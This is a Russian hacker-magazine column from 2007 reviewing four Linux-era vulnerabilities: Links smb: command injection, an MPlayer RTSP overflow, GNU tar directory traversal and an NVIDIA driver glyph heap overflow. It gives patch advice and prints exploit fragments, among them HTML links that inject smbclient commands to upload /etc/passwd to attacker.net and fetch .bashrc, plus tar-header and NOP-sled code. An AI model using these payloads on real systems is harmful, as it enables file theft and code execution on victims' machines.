Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #98, ФЕВРАЛЬ 2007 г.

Обзор эксплойтов

Крис Касперски

Хакер, номер #098, стр. 060


Удаленное выполнение SMB-команд в Links'e

Brief

Links - это шустрый текстовый браузер (широко известный в узких кругах), изначально реализованный на Linux'е, успешно портированный на кучу операционных систем всех мастей (xBSD, HPUX, OS/2, MacOSX, Win32) и породивший множество клонов. В силу своей чрезвычайной конструктивной простоты и отсутствия поддержки скриптов с прочими тяжеловесными элементами, долгое время (на пару с другим консольным браузером - Lynx) он по праву считался самым безопасным «судном» для web-серфинга. Я активно пользовался им сам и даже рекомендовал его другим. Но вот на стыке 2006 и 2007 годов усилиями хакера Teemu Salmela в нем обнаружилась огромная дыра, позволяющая атакующему исполнять любые SMB-команды на машине жертвы, просматривающей зараженную HTML-страничку с помощью Links'a (естественно, SMB-клиент должен быть установлен). Ошибка гнездится в функции smb_func(), расположенной в файле smb.c. Уязвимые строки приведены ниже:

Ключевой фрагмент функции smb_func(), содержащий ошибку

// 'dir' is the directory part of the smb: //.. url:

154 add_to_strn(&s, dir);

155 add_to_strn(&s, "\" -");

156 while ((ss = strchr(s, '/'))) *ss = '\\';

157 v[n++] = "-c";

158 v[n++] = s;

159 }

160 }

161 v[n++] = NULL;

// smbclient is executed:

162 execvp("smbclient", (char **)v);

163 fprintf(stderr, "smbclient not found in $PATH");

164 _exit(1);

Targets

Уязвимость подтверждена в версиях Links 1.00pre12 и ELinks 0.11.1, но и остальные версии также уязвимы.

Exploit

Исходный HTML-код демонстрационного exploit'а, затирающего файл /etc/passwd и утягивающего .bashrc, приведен ниже.

Исходный код простейшего exploit'a

<html>

<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd

etc; put passwd ; exit; '>Put /etc/passwd</a>

<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd

home; lcd teemu; get HOHO .bashrc; exit; '>Get .bashrc</a>

</html>

Solution

Самое простое, что можно сделать, - отказаться от Links'а в пользу Lynx или же наложить заплатку, благо составители популярных дистрибутивов оперативно посуетились. Однако существует множество неофициальных билдов Links'а (и его собратьев), пользователям которых можно посоветовать закомментировать 162-ую строку и перекомпилировать код. Естественно, выполнение каких бы то ни было SMB-команд браузером после этого станет невозможным, ну да невелика потеря.

Удаленное переполнение буфера в MPlayer'е

MPlayer - легендарный и, в каком-то смысле, культовый аудио/видеоплеер (также включающий в себя и кодер), знаменитый, прежде всего, поддержкой огромного количества входных и выходных форматов файлов, кодеков, устройств ввода/вывода аудио- и видеоданных. Что самое главное, он поддерживает их правильно (в частности, только он один при кодировании видеофильмов следит за синхрометками, предотвращая тем самым возможную потерю синхронизации). Это открытый проект, распространяющийся в исходных текстах и портированный под весь зоопарк осей: Linux, xBSD, Solaris, IRIX, HP-UX, AIX, Win32, Mac OSX, включая такую экзотику, как QNX и Qmiga/MorphOS. Естественно, значительная часть кода MPlayer'а позаимствована разработчиками из сторонних открытых проектов, и потому MPlayer зависит от качества и надежности каждого их них, но качественный код - большая редкость, и дыры обнаруживаются то тут то там. В данном случае виновником торжества оказался модуль, обрабатывающий потоки RealMedia RTSP и расположенный в файлах stream/realrtsp/asmrp.c, stream/realrtsp/asmrp.h и stream/realrtsp/real.c, позаимствованных из библиотеки xine-lib. В ней 28 декабря 2006 года была обнаружена уязвимость, связанная с традиционным отсутствием границ контроля буфера и подробно описанная специалистами из Debian Security Advisory: www.debian.org/security/2006/dsa-1244. Разработчики MPlayer'а отреагировали на нее с небольшим опозданием, оповестив своих пользователей только 31 декабря 2006 года: www.mplayerhq.hu/design7/news.html. И хотя возможность выполнения произвольного кода поставлена под сомнение (то есть дальше банального DOS'а дело вряд ли пойдет), на потенциальном уровне угроза все-таки существует.

Targets

Уязвимость подтверждена в версиях MPlayer 1.0rc1 и SVN до r21799 (то есть до 31 декабря 13:27:53 2006 UTC), более древние версии, по-видимому, также содержат эту дыру, однако они не проверялись.

Exploit

Образец exploit'а может быть найден по следующей ссылке: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6172.

Solution

Разработчики MPlayer'а исправили код в CVS (древе разработки), однако еще не перекомпилировали выложенные двоичные файлы, предоставляя пользователям замечательную возможность заняться сексом с компилятором самостоятельно.

Удаленный обход директорий в GNU tar

Brief

Teemu Salmela (уже упомянутый в этом обзоре и встречающий, как все остальные хакеры, Новый год за компьютером) исследовал утилиту GNU tar, ставшую стандартным архиватором для любого Linux/xBSD-дистрибутива, и обнаружил в ней дыру. Она похожа на ту, что была удалена из MS-DOS-версии pkzip'а много лет тому назад, представляя собой обход директорий (directory traversal) или, говоря другими словами, возможности создания архива, распаковывающегося не в текущем каталоге, а там, где ему нужно, и затирающего все файлы, на которые у него только есть права. Даже если распаковка производится из-под простого пользователя (не root'a), угроза очень серьезна, а во всем виноват специальный тип файлов, определенный в tar'е артибутом GNUTYPE_NAMES, которому соответствует символ «N» в tar-заголовке. Эти файлы могут распаковываться в любое место файловой системы и, хотя штатными средствами создать такой архив нельзя, это легко осуществить вручную, после чего остается только выложить его на общедоступный сервер или послать жертве вместе с утренним мылом. Подробнее – на www.securityfocus.com/bid/21235.

Targets

Уязвимость подтверждена в следующих версиях tar'а: 1.15.91, 1.16 и 1.15. Про остальные пока ничего неизвестно, но, скорее всего, они также уязвимы.

Exploit

Исходный текст вполне боевого exploit'а лежит в архиве neohapsis'а: http://archives.neohapsis.com/archives/fulldisclosure/2006-11/0344.html, ниже приводится его ключевой фрагмент, формирующий «бомбовый» tar-заголовок.

Ключевой фрагмент tar-exploit'a

#define GNUTYPE_NAMES 'N'

memset(&b, 0, sizeof(b));

strcpy(b.header.name, "xyz");

strcpy(b.header.mode, "0000777");

strcpy(b.header.uid, "0000000");

strcpy(b.header.gid, "0000000");

sprintf(b.header.size, "%011o", strlen(d));

strcpy(b.header.mtime, "00000000000");

strcpy(b.header.chksum, " ");

b.header.typeflag = GNUTYPE_NAMES;

strcpy(b.header.magic, "ustar ");

strcpy(b.header.uname, "root");

strcpy(b.header.gname, "root");

for (cksum = 0, i = 0; i < sizeof(b); i++)

cksum += b.buffer[i] & 0xff;

sprintf(b.header.chksum, "%06o ", cksum);

fwrite(&b, 1, sizeof(b), stdout);

Solution

Из всех составителей дистрибутивов пока один лишь коллектив FreeBSD выпустил специальный патч: http://security.freebsd.org/patches/SA-06:26/gtar.patch. Остальные же предпочли отделаться молчанием, недвусмысленно посылающим пользователей на официальную страничку GNU tar'a (www.gnu.org/software/tar) за свежей версией 1.16.1, из которой поддержка N-записей удалена, что делает распаковку таких архивов вообще невозможной (если, конечно, не прибегать к помощи tar 1.16 или более древних версий).

Переполнение буфера в драйверах NVIDIA для LINUX

Brief

Раз уж этот обзор explot'ов оказался стихийно посвящен Linux-программам (причем безо всякого умысла с моей стороны, просто так получилось), будет уместно рассказать о дыре в «фирменных» драйверах от NVIDIA, выпущенных в виде двоичных файлов безо всяких исходных текстов. Увы! Закрытые продукты встречаются и в Linux, причем качество большинства из них весьма невелико, а доработка «напильником» чрезвычайно затруднена - оно и понятно: в машинном коде разбирается далеко не каждый линуксоид. А вот Windows-хакеры чувствуют себя как рыба в (мутной) воде - им к этому не привыкать.

Дыра выражается в виде традиционной ошибки переполнения и при благоприятном (для хакера) стечении обстоятельств позволяет атакующему выполнять произвольный код на целевой системе с наивысшими уровнем привилегий, причем атака может быть осуществлена не только локально, но и удаленно - через remote X-клиента или X-клиента, зашедшего на web-сервер с «троянской» страничкой.

Технические подробности можно найти на www.securityfocus.com/bid/20559/info.

Targets

NVIDIA официально подтверждает уязвимость двух следующих версий Linux-драйверов: 1.0-8762 и 1.0-8774, утверждая, что более ранние версии (такие, например, как 1.0-8178 или 1.0-7184) не содержат этой дыры, а начиная с версии 1.0-8776, она уже исправлена: http://nvidia.custhelp.com/cgi-bin/nvidia.cfg/php/enduser/std_adp.php?p_faqid=1971. Но различные независимые эксперты подозревают, что и более древние версии уязвимы тоже (в первую очередь подозрение падает на версии драйверов под Solaris и FreeBSD), однако никто из них это не подтвердил proof-of-concept exploit'ом, поэтому вопрос остается открытым. Тем временем, компания Solaris клятвенно заверяет, что на платформу SPARC эта угроза не распространяется, но x86-64-версии драйверов все-таки уязвимы: http://sunsolve.sun.com/search/document.do?assetkey=1-26-102693-1&searchclause=.

Exploit

Исходный текст демонстрационного exploit'а с shell-кодом на борту лежит по адресу http://download2.rapid7.com/r7-0025/nv_exploit.c, а ниже приведен его ключевой фрагмент:

Ключевой фрагмент exploit'а, атакующего уязвимые драйверы от NVIDIA

XGlyphInfo * glyphs; XRenderPictFormat fmt; XRenderPictFormat *mask = 0;

GlyphSet gset; char * buf =0; int offset, cr, numB; int xscreenpos = 32680;

int magic_len= 2768-xscreenpos; int wr_addr_len = 3548; int wr_nop_len=200;

offset = gotaddr-(heapaddr-0x2C0000);

offset += magic_len; glyphs = malloc(sizeof(XGlyphInfo)*3);

/* Payload glyph */

glyphs[0].width=0x4000; // one contiguous buf of 16K... way more than necessary

glyphs[0].height = 1; glyphs[0].yOff = 0; glyphs[0].xOff = glyphs[0].width;

glyphs[0].x = 0; glyphs[0].y = 0;

xglyphids[0] = 'A'; xglyphids[1] = 'B'; xglyphids[2] = 'C';

int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned */

int bufsize = stride*glyphs[0].height; buf = malloc(bufsize);

/* Write the NOP instructions until wr_nop_len */

memset(buf+wr_addr_len, 0x90 /* NOP */, wr_nop_len);

/* Calculate the number of B's required to send */

numB = offset / (glyphs[1].yOff * magic_len);

/* Now create a new buffer for the string data */

string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/);

for (cr=0; cr<numB; cr++)

string[cr]='B';string[cr]='C';cr++; string[cr]='A'; cr++;string[cr]=0;

mask = XRenderFindFormat(display, PictFormatType|PictFormatDepth, &fmt, 0);

gset = XRenderCreateGlyphSet(display, mask);

/* END FONT HEAP OVERFLOW SETUP CODE */

Solution

Для предотвращения внедрения достаточно отключить акселератор рендеринга через опцию RenderAccel в конфигурации X-сервера или же скачать (и установить) обновленные версии драйверов:

Full disclose

История эта началась в далеком 2004 году (по понятиям компьютерной безопасности, это, практически, целая вечность), перед самым Новым годом, когда на форумах возник всплеск сообщений о странном поведении Linux-систем и внезапном крахе самых разнообразных иксовых приложений: FireFox, KDE и т.д. В частности, попытка выполнить следующий ниже код под Eclipse приводила к ошибке типа «Segmentation Fault» (https://bugs.eclipse.org/bugs/show_bug.cgi?id=87299):

Код, вызывающий падение Eclipse

for (int y = 0; y < 20000; y++)

{

for (int x = 0; x < 10; x++ )

{

System.out.print(x);

}

}

Дальше - больше. Форумы оказались буквально затоплены сообщениями об ошибках, но виновника найти не удавалось. Подозрение пало на X-сервер. В нем действительно обнаружилось несколько критичных ошибок, но после их исправления дело лучше не стало. Ситуация оставалась мрачной и напряженной.

Fritti - был первым, кому в июле 2006 года удалось воспроизвести ошибку, о чем он и отрапортовал на форуме www.nvnews.net/vbulletin/showthread.php?p=931048. Как оказалось, чтобы вызвать крах системы следовало выполнить следующие «ритуальные» действия:

  1. сходить по ссылке www.floriansprogramme.de.vu/tmp/crashGTK01.txt (безобидная программа на Питоне, вычисляющая число «пи» с охранительным количеством знаков после запятой и дописывающая эталонный результат к концу листинга, то есть очень-очень длинную строку);
  2. копипастом перенести текст в graphedit;
  3. выделить весь текст, включая эту самую длинную строку;
  4. нажать клавишу «Backspace»;
  5. оп-с, мы имеем крах, то есть это нас имеют, да еще как!

К сообщению был приложен «NVIDIA bug report log file» со всей информацией о памяти, регистрах и т.д. (www.nvnews.net/vbulletin/attachment.php?attachmentid=19192&d=1152258443), благодаря чему копании NVIDIA уже через несколько часов удалось воспроизвести и подтвердить ошибку, которую она пообещала исправить в следующем релизе драйверов версии 1.0-9xxx.

При этом всплыли некоторые технические подробности инцидента, скупо описанные компанией на фирменном сайте http://nvidia.custhelp.com/cgi-bin/nvidia.cfg/php/enduser/std_adp.php?p_faqid=197.

Обновленные драйверы, действительно, вышли, но история на этом не закончилась, и дыры в них как были, так и остались, о чем в октябре 2006 года и сообщила компания Rapid7, LLC Security Advisory (www.rapid7.com), специализирующаяся, как и следует из ее названия, на информационной безопасности.

В пресс-релизе, датированном 16 октября 2006 года (http://download2.rapid7.com/r7-0025), она не только сообщила массу технических подробностей, но и привела исходный код proof-of-concept exploit'а, демонстрирующий механизм локального и удаленного заброса shell-кода на атакуемый компьютер.

Компания NVIDIA признала себя виновной по всем статьям, выпустив спустя 4 дня ответный пресс-релиз, который одни хакеры сочли неубедительным оправданием, другие - недостаточно искренним раскаянием: http://nvidia.custhelp.com/cgi-bin/nvidia.cfg/php/enduser/std_adp.php?p_faqid=1971.

Главное то, что нам, наконец, стало известно, почему возникает переполнение. Если верить NVIDIA (а не верить ей у нас никаких поводов вроде бы нет), дела обстоят приблизительно так:

  1. из системной памяти выделяется временный буфер (scratch buffer) фиксированного размера (clamped to a maximum size) для отрисовки глифов - текстовых символов и прочих шрифтов (glyph rendering);
  2. список глифов, поступающих на отрисовку, не сравнивается с размером выделенного буфера;
  3. если список глифов превышает заранее заданный максимальный размер временного буфера, наступает его переполнение и... все!

На самом деле, никакое это не все, а только начало детективного расследования. В действительности, существует 2 семейства NVIDIA-драйверов для Linux - с открытым и закрытым кодом. Закрытые драйверы отличаются тем, что поддерживают различные режимы акселерации (которые в отрытой версии напрочь отсутствуют), в том числе и рендеринг шрифтов (ну, в смысле глифов), реализованный в расширении XRender, экспортирующем функцию XRenderCompositeString8, которая в тесной координации с X-сервером выводит шрифты на экран.

Именно поэтому дефект реализации XRender'а долгое время считали ошибкой X-сервера (как говорится, искали в черной комнате черную кошку, которой там нет).

Итак, получив список глифов, которые требуется отрендерить, функция XRenderCompositeString8 через специальный callback обращается к драйверу, и, если этот лист превышает размер выделенного буфера, наступает закономерный крах.

Более детальные исследования показывают, что закрытый драйвер регистрирует функцию _nv000373X, поручая ей расчет границ BoxRec-области, необходимой для вмещения всех данных, выводимых на экран. Выделение памяти осуществляется посредством функции Xalloc, а его размер определяется путем умножения ширины области рендеринга на ее высоту. Полученный буфер передается другой внутренней функции _nv000053X, которая последовательно проходит по всем глифам, копируя каждый в буфер, отталкиваясь от его положения на плоскости (xOff, yOff), а также от ширины (width) и высоты (height), посредством которых, она вычисляет следующую позицию в буфере. Однако проверка на выход за границы буфера, по обыкновению, не выполняется и происходит переполнение. Причем не простое, а очень даже специфичное переполнение! Манипулируя значениями xOff, yOff, width и height, на которые атакующий может воздействовать явным образом, он получает возможность записи произвольных данных/кода по произвольному адресу.

Соль в том, что X-сервер получает список глифов от X-клиента, который может быть как локальным, так и удаленным. Идея удаленных X-клиентов возникла в те далекие времена, когда цветной монитор был огромной роскошью и даже зажиточные организации с трудом позволяли себе его иметь в количестве «одна штука», а рабочих станций, как правило, было намного больше одной. Вот и пришлось разрабатывать механизмы удаленного вывода графической информации на терминал. Сейчас же это рудимент, практически никем не используемый, но по целому ряду причин сохранившийся даже в современных версиях никсов.

В роли удаленного X-клиента может выступать практически любая иксовая программа, взаимодействующая с сетью, например FireFox, которому скормили слишком длинную текстовую строку (вроде той, что была на страничке с числом «пи»). Причем совершенно не обязательно прописывать эту строку в HTML'е «прямым текстом». Сойдет Java или любой другой скриптовый язык.

Так что угроза не мифический призрак, а вполне реальный и сильно злобный монстр, поражающий всех тех, кто не отключил акселерацию или не обновился.

Содержание